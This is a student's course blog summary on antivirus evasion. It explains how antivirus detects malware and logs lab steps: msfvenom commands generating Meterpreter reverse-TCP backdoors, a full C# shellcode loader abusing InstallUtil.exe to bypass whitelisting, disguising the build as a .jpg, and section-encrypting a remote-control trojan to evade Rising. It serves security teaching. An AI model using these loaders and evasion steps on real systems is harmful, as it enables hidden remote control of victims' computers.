20169212 2016-2017-2 《网络攻防实践》第十四周学习总结
实践内容:
(1)理解免杀技术原理
(2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
(成功实现了免杀的。如何做成功的简单语言描述即可,不要截图、指令。与杀软共生的结果验证要截图。)
(3)通过组合应用各种技术实现恶意代码免杀
(4)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
博客内容:
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测:根据特征码与杀软的特征库对比来识别恶意代码。
基于行为的恶意软件检测:通过判断是否进行一些恶意行为来判断是否是病毒,比如程序是否有更改注册表行为、是否有设置自启动、是否有修改权限等。
(2)免杀是做什么?
帮助恶意软件绕过杀毒软件的查杀。
(3)免杀的基本方法有哪些?
方法一:直接修改特征码的十六进制法
1.修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制。
2.适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能否正常使用。
方法二:修改字符串大小写法
1.修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了。
2.适用范围:特征码所对应的内容必需是字符串,否则不能成功。
方法三:等价替换法
1.修改方法:把特征码所对应的汇编指令命令中替换成功能类拟的指令。
2.适用范围:特征码中必需有可以替换的汇编指令.比如JN,JNE 换成JMP等。
方法四:指令顺序调换法
1.修改方法:把具有特征码的代码顺序互换一下。
2.适用范围:具有一定的局限性,代码互换后要不能影响程序的正常执行。
方法五:通用跳转法
1.修改方法:把特征码移到零区域(指代码的空隙处),然后一个JMP又跳回来执行。
2.适用范围:没有什么条件,是通用的改法,强烈建议大家要掌握这种改法。
文件免杀方法:
1.加冷门壳
2.加花指令
3.改程序入口点
4.改木马文件特征码的5种常用方法
5.还有其它的几种免杀修改技巧
内存免杀方法:
修改内存特征码:
方法1.直接修改特征码的十六进制法
方法2.修改字符串大小写法
方法3.等价替换法
方法4.指令顺序调换法
方法5.通用跳转法
2.实践总结与体会
通过实践让我了解到我们的电脑即使安装杀毒软件也不是完全安全的,增强信息安全意识很重要。同时了解到了杀毒软件的工作原理以及病毒绕过杀毒软件的方法,从两个角度更好的考虑如何完善安全功能。
3.离实战还缺些什么技术或步骤?
需要利用社会工程学或者伪装的方式将后门移植靶机中,这也是很重要的一点。
4.实践过程记录
使用msf编码器直接生成一个后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.146 LPORT=5329 -f exe > 5329met-encoded.exe
生成文件,并复制到Windows系统,复制到自己的系统上被查杀
使用msf编码器对恶意代码进行编码,并生成一个后门文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.146 LPORT=5329 -f exe > 5329met-encoded10.exe
同样免杀效果不好,会被查杀。
利用白名单绕过反病毒软件
一、实验准备
1.测试环境:windows 7 64位操作系统。
2.测试程序:windows自带的计算器程序(calc.exe)。因为我们在本次实验中牵涉到shellcode的编写,但自己目前的能力还不足以能够编写执行对应恶意程序的shellcode,所以暂时以calc.exe代替恶意程序,来完成整个实验过程。
二、模拟加载恶意程序实验过程
1.使用metasploit下的msf模块生成对应64位系统中calc.exe的shellcode,配置代码如图所示
生成的shellcode如图所示
2.编写相应的使用使用shellcode的C#代码,并保存为shellcode.cs
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
public class Program
{
public static void Main()
{
Console.WriteLine("Hello From Main...I Don't Do Anything");
//Add any behaviour here to throw off sandbox execution/analysts :)
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
//The Methods can be Uninstall/Install. Install is transactional, and really unnecessary.
public override void Uninstall(System.Collections.IDictionary savedState)
{
Shellcode.Exec();
}
}
public class Shellcode
{
public static void Exec()
{
// native function's compiled code
// generated with metasploit
// this is from shellcode.txt above
byte[] shellcode = new byte[276] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
}
3.将shellcode.cs放到path路径中,以便我们能在cmd的环境下对其进行编译,执行代码为
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs
编译后生成一个exeshell.exe的程序,并利用Installutil.exe加载这个程序,最后成功加载exeshell.exe并执行shellcode,弹出计算器,执行代码为
C:\Windows\Microsoft.NET\Framework64\v2.0.50727 \InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
如图所示
4.此时我们测试生成的exeshell.exe的查杀情况,发现会被360报为木马文件。
!
5.此时我们需要对生成的exeshell.exe进行静态免杀。根据360的警报信息可以看到此文件被认为是后门程序,因此我们在生成的时候可以对文件的后缀名进行更改,比如改为exeshell.jpg。执行代码:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:exeshell.jpg Shellcode.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.jpg
最后对更改后缀名后生成的exeshell.jpg查杀,发现可以成功逃过360的静态查杀,如图所示
当我们普通操作下打开这个exeshell.jpg文件时,会显示一张损坏的图片,如图5-6所示。但是我们仍然可以通过执行InstallUtil.exe来加载exeshell.jpg来正常打开原程序,并且拥有原程序完整的功能。
区段加密对Remote abc进行免杀处理
区段加密之前,需要为相关配置文件即abc.dat添加一个新的区段,以方便我们之后的修改程序入口点、花指令的编写以及加密解密代码的编写。 使用lordPE查看程序入口地址以及,我们所要加密的.code段和.data段以及新添加的区段的文件偏移地址。我们可以获得.code段的虚拟地址。用ollydbg加载abc.dat文件,程序会定位在原始入口点地址,现在我们跳转到新区段所在地址,可以看到一大片0区域。我们选择在这里添加花指令以及加解密代码的编写。之后程序在被加载到内存的时候,会先执行这一段解密代码,由于加密是一次异或,解密是第二次异或,两次异或之后便得到原来的数据,从而成功解密。在添加完相应的指令以及代码之后,我们需要把这段指令复制到可执行文件并保存文件。复制到可执行文件并保存后,我们需要关闭当前的ollydbg窗口。打开新的ollydbg,并加载我们刚才保存的文件,因为这个文件已经存在有加解密指令了。此时,我们在加密代码前设置一个新的入口点,显示为黑色,让程序的执行跳转到此,并在第一段为.code代码段加密的代码结束为止设置一个断点,显示为红色。然后点全不执行,程序就会从新的入口点执行到所设置的断点处。经过这个步骤,.code代码段的加密已经结束,由于在下方的hex数据,我们预先跳转到了.CODE代码段的虚拟地址,明显地看到了整个代码段数据的变化。因此,这个步骤结束之后我们同样要讲加密之后的代码段的数据复制到可执行文件并保存。同样的方式,我们再对.data数据段进行加密。完整加密之后我们对保存的文件进行查杀测试,发现仍然会被瑞星查杀。在其他区段还存在特征码,由此我们继续使用Myccl对文件进行特征码定位。 我们用lordPE进行查看对应区段,发现特征码位于.rsrc资源段,并且从右边的字符中看到VERSION INFO的字样,由此我们可以猜测,特征码位于版本信息上面
做到此处,脉络已经基本清晰。由于版本信息对于木马文件来将没有什么用处,我们可以直接将其删掉,也可以换成其他正常程序的版本信息,在这里我选择将其删掉。并对最终保存的文件进行查杀,发现最终成功躲避了瑞星杀毒软件的查杀。
做完之后测试了一下Remote abc的功能如下图
在使用区段对Remote abc的服务端配置文件进行加密之后,我们已经让文件及相应配置的服务端程序躲避杀毒软件的查杀,但是由于免杀处理的时候对文件二进制数据作了较多的改变,所以我们需要对其正常的功能进行测试。在配置服务端的时候我们可以选择提否弹出安装成功提示、安装完成之后是否删除自身等选项,配置好服务端。
5.遇到的问题及解决方法
在实验过程中,利用用户权限执行命令
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs
出现下图显示的情况
解决方法:用管理员身份运行